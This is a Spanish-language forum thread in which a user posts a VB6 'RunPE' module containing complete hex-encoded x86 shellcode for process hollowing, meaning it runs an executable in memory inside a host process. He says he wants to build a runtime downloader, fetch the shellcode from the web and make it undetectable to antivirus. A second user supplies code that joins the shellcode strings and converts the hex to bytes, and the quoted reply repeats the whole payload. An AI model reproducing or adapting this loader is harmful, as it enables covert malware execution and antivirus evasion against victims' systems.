Mod runpe shellcode

Iniciado por nosequenosenada, 17 Enero 2021, 00:19 AM

0 Miembros y 1 Visitante están viendo este tema.

nosequenosenada

Código (vb) [Seleccionar]
Option Explicit

'---------------------------------------------------------------------------------------
' Module    : mshRunPE_Strings
' Author    : iCodeInVB6
' Now       : 05/16/2012 11:40
' Purpose   : Run executable in memory
'             Only uses CallWindowProc & shellcode
' Credits   : hamavb <-- made the shellcode!
' Tested    : Win7 x64
'---------------------------------------------------------------------------------------

'USER32
Private Declare Function CallWindowProcW Lib "USER32" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

Private s_ASM(7) As String
Private b_ASM(1287) As Byte

Public Sub RunPE(ByVal TargetHost As String, bBuffer() As Byte)
   Dim i As Long
   Dim j As Long
   Dim k As Long

   s_ASM(0) = "60E84E0000006B00650072006E0065006C003300320000006E00740064006C006C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005B8BFC6A42E8BB0300008B54242889118B54242C6A3EE8AA03000089116A4AE8A103000089396A1E6A3CE89D0300006A2268F4000000E8910300006A266A24E8880300006A2A6A40E87F030000"
   s_ASM(1) = "6A2E6A0CE8760300006A3268C8000000E86A0300006A2AE85C0300008B09C701440000006A12E84D030000685BE814CF51E8790300006A3EE83B0300008BD16A1EE8320300006A40FF32FF31FFD06A12E823030000685BE814CF51E84F0300006A1EE8110300008B098B513C6A3EE8050300008B3903FA6A22E8FA0200008B0968F80000005751FFD06A00E8E80200006888FEB31651E8140300006A2EE8D60200"
   s_ASM(2) = "008B396A2AE8CD0200008B116A42E8C402000057526A006A006A046A006A006A006A00FF31FFD06A12E8A902000068D03710F251E8D50200006A22E8970200008B116A2EE88E0200008B09FF7234FF31FFD06A00E87E020000689C951A6E51E8AA0200006A22E86C0200008B118B396A2EE8610200008B096A406800300000FF7250FF7734FF31FFD06A36E8470200008BD16A22E83E0200008B396A3EE8350200"
   s_ASM(3) = "008B316A22E82C0200008B016A2EE8230200008B0952FF775456FF7034FF316A00E81002000068A16A3DD851E83C02000083C40CFFD06A12E8F9010000685BE814CF51E8250200006A22E8E70100008B1183C2066A3AE8DB0100006A025251FFD06A36E8CE010000C70100000000B8280000006A36E8BC010000F7216A1EE8B30100008B118B523C81C2F800000003D06A3EE89F01000003116A26E8960100006A"
   s_ASM(4) = "2852FF316A12E88A010000685BE814CF51E8B601000083C40CFFD06A26E8730100008B398B098B71146A3EE86501000003316A26E85C0100008B098B510C6A22E8500100008B090351346A46E8440100008BC16A2EE83B0100008B0950FF77105652FF316A00E82A01000068A16A3DD851E85601000083C40CFFD06A36E8130100008B1183C20189116A3AE8050100008B093BCA0F8533FFFFFF6A32E8F4000000"
   s_ASM(5) = "8B09C701070001006A00E8E500000068D2C7A76851E8110100006A32E8D30000008B116A2EE8CA0000008B0952FF7104FFD06A22E8BB0000008B3983C7346A32E8AF0000008B318BB6A400000083C6086A2EE89D0000008B116A46E894000000516A045756FF326A00E88600000068A16A3DD851E8B200000083C40CFFD06A22E86F0000008B098B51280351346A32E8600000008B0981C1B000000089116A00E8"
   s_ASM(6) = "4F00000068D3C7A7E851E87B0000006A32E83D0000008BD16A2EE8340000008B09FF32FF7104FFD06A00E82400000068883F4A9E51E8500000006A2EE8120000008B09FF7104FFD06A4AE8040000008B2161C38BCB034C2404C36A00E8F2FFFFFF6854CAAF9151E81E0000006A406800100000FF7424186A00FFD0FF742414E8CFFFFFFF890183C410C3E82200000068A44E0EEC50E84B00000083C408FF742404"
   s_ASM(7) = "FFD0FF74240850E83800000083C408C355525153565733C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE78BC55F5E5B595A5DC35552515356578B6C241C85ED74438B453C8B54287803D58B4A188B5A2003DDE330498B348B03F533FF33C0FCAC84C07407C1CF0D03F8EBF43B7C242075E18B5A2403DD668B0C4B8B5A1C03DD8B048B03C55F5E5B595A5DC3C300000000"

   For i = 0 To 7
       For j = 1 To 322 Step 2
           b_ASM(k) = CByte("&H" & Mid$(s_ASM(i), j, 2)): k = k + 1
       Next j
   Next i

   CallWindowProcW VarPtr(b_ASM(0)), StrPtr(TargetHost), VarPtr(bBuffer(0)), 0, 0
End Sub




Gente como estan? espero que bien, estoy por crear un downloader runtime en vb6 y voy a utilizar este runpe, me gustaria modearlo un poco para dejarlo indetectable a los anti virus , mi pregunta es como puedo hacer para que el shellcode que tiene que esta dividido en 7 partes, sea solo 1 string , ya que lo cargaria mediante  web y de esta forma me ayudaria a quitar firmas.





Muchas gracias de ante mano saludos.





Serapis

Para unir un array de textos en un string, tienes la funcion Join. Para una cadena vacía como separador si no han de ser divididos más adelante.
Luego tienes la función StrConv para diferentes tipos de conversión a o desde string/array de bytes.

Consulta la ayuda de vb6 si lo precisas, es muy completa.
Código (vb) [Seleccionar]

    dim x(0 to 2) as string, s as string
    dim y() as byte
    dim k as integer

    x(0) = "Buenos días"
    x(1) = "tengan"
    x(2) = "ustedes"

    msgbox join(x, " ")

    y = strconv(join(x," . "),vbfromunicode)
    for k= 0 to ubound(y)
        debug.print chr$(y(k)),
    next

    msgbox strconv(y,vbunicode)

Serapis

#2
Cita de: nosequenosenada date=1610938951
Amigo gracias por tus respuestas lo  aprecio un monton de verdad, pero el segundo comentario sobre modificar el runpe sinceramente no lo entendi, si bien mis conocomientos de programacion son  pocos, pero lo que quiero en este caso tener en una sola linea la shellcode esa que esta dividida, si me das una mano te lo super agradezco
Hola.
De entrada, mencionarte que no proceden los mensajes privados. Estos se limitan a cosas que no interesa a nadie más, pero nada de tu mensaje reúne esa condición. Simplemente puedes responder aquí y yo (o cualquiera) puede responderte cuando le venga bien.

Creo haber satisfecho tus dudas (básicamente se trata de remplazar los datos dle ejemplo, por lo que interesa), sin embargo supongo que tu falta de comprensión se deberá a tu limitación en cuanto al conocimiento del lenguaje.

Me cuesta entender como teniendo lagunas severas, nadie se aventura a escribir programas, pués al final un pograma así, no tiene garantías no ya de calidad, sino de... en fin, tampoco es que me importe, pues cada uno va a lo suyo, aunque me parece de perogrullo y por eso recomiendo aprender a andar antes de pretender correr...

Por esta que es tu segunda vez, se te dará el pez, pero la idea es enseñar a pescar y que cada uno pierda su tiempo pescando, y no que los demás pesquen para ti.


Código (vb) [Seleccionar]

Private Sub Form_Load()
   Dim b_ASM() As Byte       ' OJO: Si la matriz es dinámica puede asignarse arbitrariamente si es estática, debe usarse un bucle para asignar cada elemento individualmente.

   b_ASM = GetBytesFromASM
   '... lo que tengas que hacer con dicho array
   
   ' ejemplo:
   Debug.Print "el array contiene " & CStr(UBound(b_ASM) + 1) & " bytes."
   For k = 0 To 31
       Debug.Print "El carácter: " & Chr$(b_ASM(k)) & " es el byte: "; b_ASM(k)
   Next
End Sub


Private Function GetBytesFromASM() As Byte()
   Dim s_ASM(7) As String

   s_ASM(0) = "60E84E0000006B00650072006E0065006C003300320000006E00740064006C006C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005B8BFC6A42E8BB0300008B54242889118B54242C6A3EE8AA03000089116A4AE8A103000089396A1E6A3CE89D0300006A2268F4000000E8910300006A266A24E8880300006A2A6A40E87F030000"
   s_ASM(1) = "6A2E6A0CE8760300006A3268C8000000E86A0300006A2AE85C0300008B09C701440000006A12E84D030000685BE814CF51E8790300006A3EE83B0300008BD16A1EE8320300006A40FF32FF31FFD06A12E823030000685BE814CF51E84F0300006A1EE8110300008B098B513C6A3EE8050300008B3903FA6A22E8FA0200008B0968F80000005751FFD06A00E8E80200006888FEB31651E8140300006A2EE8D60200"
   s_ASM(2) = "008B396A2AE8CD0200008B116A42E8C402000057526A006A006A046A006A006A006A00FF31FFD06A12E8A902000068D03710F251E8D50200006A22E8970200008B116A2EE88E0200008B09FF7234FF31FFD06A00E87E020000689C951A6E51E8AA0200006A22E86C0200008B118B396A2EE8610200008B096A406800300000FF7250FF7734FF31FFD06A36E8470200008BD16A22E83E0200008B396A3EE8350200"
   s_ASM(3) = "008B316A22E82C0200008B016A2EE8230200008B0952FF775456FF7034FF316A00E81002000068A16A3DD851E83C02000083C40CFFD06A12E8F9010000685BE814CF51E8250200006A22E8E70100008B1183C2066A3AE8DB0100006A025251FFD06A36E8CE010000C70100000000B8280000006A36E8BC010000F7216A1EE8B30100008B118B523C81C2F800000003D06A3EE89F01000003116A26E8960100006A"
   s_ASM(4) = "2852FF316A12E88A010000685BE814CF51E8B601000083C40CFFD06A26E8730100008B398B098B71146A3EE86501000003316A26E85C0100008B098B510C6A22E8500100008B090351346A46E8440100008BC16A2EE83B0100008B0950FF77105652FF316A00E82A01000068A16A3DD851E85601000083C40CFFD06A36E8130100008B1183C20189116A3AE8050100008B093BCA0F8533FFFFFF6A32E8F4000000"
   s_ASM(5) = "8B09C701070001006A00E8E500000068D2C7A76851E8110100006A32E8D30000008B116A2EE8CA0000008B0952FF7104FFD06A22E8BB0000008B3983C7346A32E8AF0000008B318BB6A400000083C6086A2EE89D0000008B116A46E894000000516A045756FF326A00E88600000068A16A3DD851E8B200000083C40CFFD06A22E86F0000008B098B51280351346A32E8600000008B0981C1B000000089116A00E8"
   s_ASM(6) = "4F00000068D3C7A7E851E87B0000006A32E83D0000008BD16A2EE8340000008B09FF32FF7104FFD06A00E82400000068883F4A9E51E8500000006A2EE8120000008B09FF7104FFD06A4AE8040000008B2161C38BCB034C2404C36A00E8F2FFFFFF6854CAAF9151E81E0000006A406800100000FF7424186A00FFD0FF742414E8CFFFFFFF890183C410C3E82200000068A44E0EEC50E84B00000083C408FF742404"
   s_ASM(7) = "FFD0FF74240850E83800000083C408C355525153565733C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE78BC55F5E5B595A5DC35552515356578B6C241C85ED74438B453C8B54287803D58B4A188B5A2003DDE330498B348B03F533FF33C0FCAC84C07407C1CF0D03F8EBF43B7C242075E18B5A2403DD668B0C4B8B5A1C03DD8B048B03C55F5E5B595A5DC3C300000000"

   GetBytesFromASM = StrConv(Join(s_ASM, ""), vbFromUnicode)
End Function


La salida del ejemplo genera este valor (para verificar que es correcto).

(nota: 322 * 8 = 2576 bytes).
Citar
el array contiene 2576 bytes.
El carácter: 6 es el byte:  54
El carácter: 0 es el byte:  48
El carácter: E es el byte:  69
El carácter: 8 es el byte:  56
El carácter: 4 es el byte:  52
El carácter: E es el byte:  69
El carácter: 0 es el byte:  48
El carácter: 0 es el byte:  48
El carácter: 0 es el byte:  48
El carácter: 0 es el byte:  48
El carácter: 0 es el byte:  48
El carácter: 0 es el byte:  48
El carácter: 6 es el byte:  54
El carácter: B es el byte:  66
El carácter: 0 es el byte:  48
El carácter: 0 es el byte:  48
El carácter: 6 es el byte:  54
El carácter: 5 es el byte:  53
El carácter: 0 es el byte:  48
El carácter: 0 es el byte:  48
El carácter: 7 es el byte:  55
El carácter: 2 es el byte:  50
El carácter: 0 es el byte:  48
El carácter: 0 es el byte:  48
El carácter: 6 es el byte:  54
El carácter: E es el byte:  69
El carácter: 0 es el byte:  48
El carácter: 0 es el byte:  48
El carácter: 6 es el byte:  54
El carácter: 5 es el byte:  53
El carácter: 0 es el byte:  48
El carácter: 0 es el byte:  48

La duda que yo tengo, sobre el caso, es que tienes valores hexadecimales.
2 caracteres hexadecimales son 1 byte, y dudo que tu array deba contener 1 byte con cada dígito... así que finalmente tendría que usar un bucle, ya que aunque VB6 puede convertir string a array de bytes (y vuceversa), lo que no hace es reconocer si tu string en realidad es un literal de un conjunto de valores hexadecimales.

Código (vb) [Seleccionar]
 
Private Function GetBytesFromASM() As Byte()
   Dim s_ASM(7) As String, strHex As String

   s_ASM(0) = "60E84E0000006B00650072006E0065006C003300320000006E00740064006C006C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005B8BFC6A42E8BB0300008B54242889118B54242C6A3EE8AA03000089116A4AE8A103000089396A1E6A3CE89D0300006A2268F4000000E8910300006A266A24E8880300006A2A6A40E87F030000"
   s_ASM(1) = "6A2E6A0CE8760300006A3268C8000000E86A0300006A2AE85C0300008B09C701440000006A12E84D030000685BE814CF51E8790300006A3EE83B0300008BD16A1EE8320300006A40FF32FF31FFD06A12E823030000685BE814CF51E84F0300006A1EE8110300008B098B513C6A3EE8050300008B3903FA6A22E8FA0200008B0968F80000005751FFD06A00E8E80200006888FEB31651E8140300006A2EE8D60200"
   s_ASM(2) = "008B396A2AE8CD0200008B116A42E8C402000057526A006A006A046A006A006A006A00FF31FFD06A12E8A902000068D03710F251E8D50200006A22E8970200008B116A2EE88E0200008B09FF7234FF31FFD06A00E87E020000689C951A6E51E8AA0200006A22E86C0200008B118B396A2EE8610200008B096A406800300000FF7250FF7734FF31FFD06A36E8470200008BD16A22E83E0200008B396A3EE8350200"
   s_ASM(3) = "008B316A22E82C0200008B016A2EE8230200008B0952FF775456FF7034FF316A00E81002000068A16A3DD851E83C02000083C40CFFD06A12E8F9010000685BE814CF51E8250200006A22E8E70100008B1183C2066A3AE8DB0100006A025251FFD06A36E8CE010000C70100000000B8280000006A36E8BC010000F7216A1EE8B30100008B118B523C81C2F800000003D06A3EE89F01000003116A26E8960100006A"
   s_ASM(4) = "2852FF316A12E88A010000685BE814CF51E8B601000083C40CFFD06A26E8730100008B398B098B71146A3EE86501000003316A26E85C0100008B098B510C6A22E8500100008B090351346A46E8440100008BC16A2EE83B0100008B0950FF77105652FF316A00E82A01000068A16A3DD851E85601000083C40CFFD06A36E8130100008B1183C20189116A3AE8050100008B093BCA0F8533FFFFFF6A32E8F4000000"
   s_ASM(5) = "8B09C701070001006A00E8E500000068D2C7A76851E8110100006A32E8D30000008B116A2EE8CA0000008B0952FF7104FFD06A22E8BB0000008B3983C7346A32E8AF0000008B318BB6A400000083C6086A2EE89D0000008B116A46E894000000516A045756FF326A00E88600000068A16A3DD851E8B200000083C40CFFD06A22E86F0000008B098B51280351346A32E8600000008B0981C1B000000089116A00E8"
   s_ASM(6) = "4F00000068D3C7A7E851E87B0000006A32E83D0000008BD16A2EE8340000008B09FF32FF7104FFD06A00E82400000068883F4A9E51E8500000006A2EE8120000008B09FF7104FFD06A4AE8040000008B2161C38BCB034C2404C36A00E8F2FFFFFF6854CAAF9151E81E0000006A406800100000FF7424186A00FFD0FF742414E8CFFFFFFF890183C410C3E82200000068A44E0EEC50E84B00000083C408FF742404"
   s_ASM(7) = "FFD0FF74240850E83800000083C408C355525153565733C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE78BC55F5E5B595A5DC35552515356578B6C241C85ED74438B453C8B54287803D58B4A188B5A2003DDE330498B348B03F533FF33C0FCAC84C07407C1CF0D03F8EBF43B7C242075E18B5A2403DD668B0C4B8B5A1C03DD8B048B03C55F5E5B595A5DC3C300000000"

   'GetBytesFromASM = StrConv(Join(s_ASM, ""), vbFromUnicode) ' cambiamos la conversion de VB
   GetBytesFromASM = StringHexToByteArray(Join(s_ASM, "")) ' por la nuestra...
End Function

' Convierte un string hexadecimal a un array de bytes.
'   OJO: No revisa irregularidades (strhex nulo, tamaño impar, letras A-F en minúsculas, la aparición de otros caracteres distintos de 0-9, A-F)...
Private Function StringHexToByteArray(ByRef strHex As String) As Byte()
   Dim k As Long, j As Long, ix As Long, U As Byte, D As Byte
   Dim bHex() As Byte

   j = Len(strHex)
   
   ReDim bHex(0 To (j \ 2) - 1)
   For k = 1 To j Step 2
       U = Asc(Mid$(strHex, k, 1))
       If (U < 65) Then            ' 0-9 (48-57) --> 0-9
           U = (U - 48)
       Else
           U = (U - 55)            ' A-F (65-70) --> 10-15
       End If
       
       D = Asc(Mid$(strHex, k + 1, 1))
       If (D < 65) Then            ' 0-9 (48-57) --> 0-9
           D = (D - 48)
       Else
           D = (D - 55)            ' A-F (65-70) --> 10-15
       End If
       
       bHex(ix) = ((U * 16) + D)
       ix = (ix + 1)
   Next
   
   StringHexToByteArray = bHex
End Function


probando con esta línea:
Código (vb) [Seleccionar]
Private Sub Form_Load()
  ' imprime en la ventana 'inmediato', una cadena hexadecimal, convertida a array de bytes y luego convertida de nuevo a string...
   debug.print  strconv( StringHexToByteArray("484F4C41"),vbunicode)
end sub

el resultado devuelto es:
HOLA


p.d.: Nota que tu debes saber si está línea es así:
bHex(ix) = ((U * 16) + D)
o asi:
bHex(ix) = ((D * 16) + U)
Es decir el orden de los dígitos del valor hex, debe conformarse de acuerdo a como fueron consignados.

nosequenosenada

Cita de: Serapis en 19 Enero 2021, 21:36 PM
Hola.
De entrada, mencionarte que no proceden los mensajes privados. Estos se limitan a cosas que no interesa a nadie más, pero nada de tu mensaje reúne esa condición. Simplemente puedes responder aquí y yo (o cualquiera) puede responderte cuando le venga bien.

Creo haber satisfecho tus dudas (básicamente se trata de remplazar los datos dle ejemplo, por lo que interesa), sin embargo supongo que tu falta de comprensión se deberá a tu limitación en cuanto al conocimiento del lenguaje.

Me cuesta entender como teniendo lagunas severas, nadie se aventura a escribir programas, pués al final un pograma así, no tiene garantías no ya de calidad, sino de... en fin, tampoco es que me importe, pues cada uno va a lo suyo, aunque me parece de perogrullo y por eso recomiendo aprender a andar antes de pretender correr...

Por esta que es tu segunda vez, se te dará el pez, pero la idea es enseñar a pescar y que cada uno pierda su tiempo pescando, y no que los demás pesquen para ti.


Código (vb) [Seleccionar]

Private Sub Form_Load()
   Dim b_ASM() As Byte       ' OJO: Si la matriz es dinámica puede asignarse arbitrariamente si es estática, debe usarse un bucle para asignar cada elemento individualmente.

   b_ASM = GetBytesFromASM
   '... lo que tengas que hacer con dicho array
   
   ' ejemplo:
   Debug.Print "el array contiene " & CStr(UBound(b_ASM) + 1) & " bytes."
   For k = 0 To 31
       Debug.Print "El carácter: " & Chr$(b_ASM(k)) & " es el byte: "; b_ASM(k)
   Next
End Sub


Private Function GetBytesFromASM() As Byte()
   Dim s_ASM(7) As String

   s_ASM(0) = "60E84E0000006B00650072006E0065006C003300320000006E00740064006C006C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005B8BFC6A42E8BB0300008B54242889118B54242C6A3EE8AA03000089116A4AE8A103000089396A1E6A3CE89D0300006A2268F4000000E8910300006A266A24E8880300006A2A6A40E87F030000"
   s_ASM(1) = "6A2E6A0CE8760300006A3268C8000000E86A0300006A2AE85C0300008B09C701440000006A12E84D030000685BE814CF51E8790300006A3EE83B0300008BD16A1EE8320300006A40FF32FF31FFD06A12E823030000685BE814CF51E84F0300006A1EE8110300008B098B513C6A3EE8050300008B3903FA6A22E8FA0200008B0968F80000005751FFD06A00E8E80200006888FEB31651E8140300006A2EE8D60200"
   s_ASM(2) = "008B396A2AE8CD0200008B116A42E8C402000057526A006A006A046A006A006A006A00FF31FFD06A12E8A902000068D03710F251E8D50200006A22E8970200008B116A2EE88E0200008B09FF7234FF31FFD06A00E87E020000689C951A6E51E8AA0200006A22E86C0200008B118B396A2EE8610200008B096A406800300000FF7250FF7734FF31FFD06A36E8470200008BD16A22E83E0200008B396A3EE8350200"
   s_ASM(3) = "008B316A22E82C0200008B016A2EE8230200008B0952FF775456FF7034FF316A00E81002000068A16A3DD851E83C02000083C40CFFD06A12E8F9010000685BE814CF51E8250200006A22E8E70100008B1183C2066A3AE8DB0100006A025251FFD06A36E8CE010000C70100000000B8280000006A36E8BC010000F7216A1EE8B30100008B118B523C81C2F800000003D06A3EE89F01000003116A26E8960100006A"
   s_ASM(4) = "2852FF316A12E88A010000685BE814CF51E8B601000083C40CFFD06A26E8730100008B398B098B71146A3EE86501000003316A26E85C0100008B098B510C6A22E8500100008B090351346A46E8440100008BC16A2EE83B0100008B0950FF77105652FF316A00E82A01000068A16A3DD851E85601000083C40CFFD06A36E8130100008B1183C20189116A3AE8050100008B093BCA0F8533FFFFFF6A32E8F4000000"
   s_ASM(5) = "8B09C701070001006A00E8E500000068D2C7A76851E8110100006A32E8D30000008B116A2EE8CA0000008B0952FF7104FFD06A22E8BB0000008B3983C7346A32E8AF0000008B318BB6A400000083C6086A2EE89D0000008B116A46E894000000516A045756FF326A00E88600000068A16A3DD851E8B200000083C40CFFD06A22E86F0000008B098B51280351346A32E8600000008B0981C1B000000089116A00E8"
   s_ASM(6) = "4F00000068D3C7A7E851E87B0000006A32E83D0000008BD16A2EE8340000008B09FF32FF7104FFD06A00E82400000068883F4A9E51E8500000006A2EE8120000008B09FF7104FFD06A4AE8040000008B2161C38BCB034C2404C36A00E8F2FFFFFF6854CAAF9151E81E0000006A406800100000FF7424186A00FFD0FF742414E8CFFFFFFF890183C410C3E82200000068A44E0EEC50E84B00000083C408FF742404"
   s_ASM(7) = "FFD0FF74240850E83800000083C408C355525153565733C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE78BC55F5E5B595A5DC35552515356578B6C241C85ED74438B453C8B54287803D58B4A188B5A2003DDE330498B348B03F533FF33C0FCAC84C07407C1CF0D03F8EBF43B7C242075E18B5A2403DD668B0C4B8B5A1C03DD8B048B03C55F5E5B595A5DC3C300000000"

   GetBytesFromASM = StrConv(Join(s_ASM, ""), vbFromUnicode)
End Function


La salida del ejemplo genera este valor (para verificar que es correcto).

(nota: 322 * 8 = 2576 bytes).

La duda que yo tengo, sobre el caso, es que tienes valores hexadecimales.
2 caracteres hexadecimales son 1 byte, y dudo que tu array deba contener 1 byte con cada dígito... así que finalmente tendría que usar un bucle, ya que aunque VB6 puede convertir string a array de bytes (y vuceversa), lo que no hace es reconocer si tu string en realidad es un literal de un conjunto de valores hexadecimales.

Código (vb) [Seleccionar]
 
Private Function GetBytesFromASM() As Byte()
   Dim s_ASM(7) As String, strHex As String

   s_ASM(0) = "60E84E0000006B00650072006E0065006C003300320000006E00740064006C006C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005B8BFC6A42E8BB0300008B54242889118B54242C6A3EE8AA03000089116A4AE8A103000089396A1E6A3CE89D0300006A2268F4000000E8910300006A266A24E8880300006A2A6A40E87F030000"
   s_ASM(1) = "6A2E6A0CE8760300006A3268C8000000E86A0300006A2AE85C0300008B09C701440000006A12E84D030000685BE814CF51E8790300006A3EE83B0300008BD16A1EE8320300006A40FF32FF31FFD06A12E823030000685BE814CF51E84F0300006A1EE8110300008B098B513C6A3EE8050300008B3903FA6A22E8FA0200008B0968F80000005751FFD06A00E8E80200006888FEB31651E8140300006A2EE8D60200"
   s_ASM(2) = "008B396A2AE8CD0200008B116A42E8C402000057526A006A006A046A006A006A006A00FF31FFD06A12E8A902000068D03710F251E8D50200006A22E8970200008B116A2EE88E0200008B09FF7234FF31FFD06A00E87E020000689C951A6E51E8AA0200006A22E86C0200008B118B396A2EE8610200008B096A406800300000FF7250FF7734FF31FFD06A36E8470200008BD16A22E83E0200008B396A3EE8350200"
   s_ASM(3) = "008B316A22E82C0200008B016A2EE8230200008B0952FF775456FF7034FF316A00E81002000068A16A3DD851E83C02000083C40CFFD06A12E8F9010000685BE814CF51E8250200006A22E8E70100008B1183C2066A3AE8DB0100006A025251FFD06A36E8CE010000C70100000000B8280000006A36E8BC010000F7216A1EE8B30100008B118B523C81C2F800000003D06A3EE89F01000003116A26E8960100006A"
   s_ASM(4) = "2852FF316A12E88A010000685BE814CF51E8B601000083C40CFFD06A26E8730100008B398B098B71146A3EE86501000003316A26E85C0100008B098B510C6A22E8500100008B090351346A46E8440100008BC16A2EE83B0100008B0950FF77105652FF316A00E82A01000068A16A3DD851E85601000083C40CFFD06A36E8130100008B1183C20189116A3AE8050100008B093BCA0F8533FFFFFF6A32E8F4000000"
   s_ASM(5) = "8B09C701070001006A00E8E500000068D2C7A76851E8110100006A32E8D30000008B116A2EE8CA0000008B0952FF7104FFD06A22E8BB0000008B3983C7346A32E8AF0000008B318BB6A400000083C6086A2EE89D0000008B116A46E894000000516A045756FF326A00E88600000068A16A3DD851E8B200000083C40CFFD06A22E86F0000008B098B51280351346A32E8600000008B0981C1B000000089116A00E8"
   s_ASM(6) = "4F00000068D3C7A7E851E87B0000006A32E83D0000008BD16A2EE8340000008B09FF32FF7104FFD06A00E82400000068883F4A9E51E8500000006A2EE8120000008B09FF7104FFD06A4AE8040000008B2161C38BCB034C2404C36A00E8F2FFFFFF6854CAAF9151E81E0000006A406800100000FF7424186A00FFD0FF742414E8CFFFFFFF890183C410C3E82200000068A44E0EEC50E84B00000083C408FF742404"
   s_ASM(7) = "FFD0FF74240850E83800000083C408C355525153565733C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE78BC55F5E5B595A5DC35552515356578B6C241C85ED74438B453C8B54287803D58B4A188B5A2003DDE330498B348B03F533FF33C0FCAC84C07407C1CF0D03F8EBF43B7C242075E18B5A2403DD668B0C4B8B5A1C03DD8B048B03C55F5E5B595A5DC3C300000000"

   'GetBytesFromASM = StrConv(Join(s_ASM, ""), vbFromUnicode) ' cambiamos la conversion de VB
   GetBytesFromASM = StringHexToByteArray(Join(s_ASM, "")) ' por la nuestra...
End Function

' Convierte un string hexadecimal a un array de bytes.
'   OJO: No revisa irregularidades (strhex nulo, tamaño impar, letras A-F en minúsculas, la aparición de otros caracteres distintos de 0-9, A-F)...
Private Function StringHexToByteArray(ByRef strHex As String) As Byte()
   Dim k As Long, j As Long, ix As Long, U As Byte, D As Byte
   Dim bHex() As Byte

   j = Len(strHex)
   
   ReDim bHex(0 To (j \ 2) - 1)
   For k = 1 To j Step 2
       U = Asc(Mid$(strHex, k, 1))
       If (U < 65) Then            ' 0-9 (48-57) --> 0-9
           U = (U - 48)
       Else
           U = (U - 55)            ' A-F (65-70) --> 10-15
       End If
       
       D = Asc(Mid$(strHex, k + 1, 1))
       If (D < 65) Then            ' 0-9 (48-57) --> 0-9
           D = (D - 48)
       Else
           D = (D - 55)            ' A-F (65-70) --> 10-15
       End If
       
       bHex(ix) = ((U * 16) + D)
       ix = (ix + 1)
   Next
   
   StringHexToByteArray = bHex
End Function


probando con esta línea:
Código (vb) [Seleccionar]
Private Sub Form_Load()
  ' imprime en la ventana 'inmediato', una cadena hexadecimal, convertida a array de bytes y luego convertida de nuevo a string...
   debug.print  strconv( StringHexToByteArray("484F4C41"),vbunicode)
end sub

el resultado devuelto es:
HOLA


p.d.: Nota que tu debes saber si está línea es así:
bHex(ix) = ((U * 16) + D)
o asi:
bHex(ix) = ((D * 16) + U)
Es decir el orden de los dígitos del valor hex, debe conformarse de acuerdo a como fueron consignados.

Gracias por responder, no pude resolverlo pero agradezco tu tiempo. :)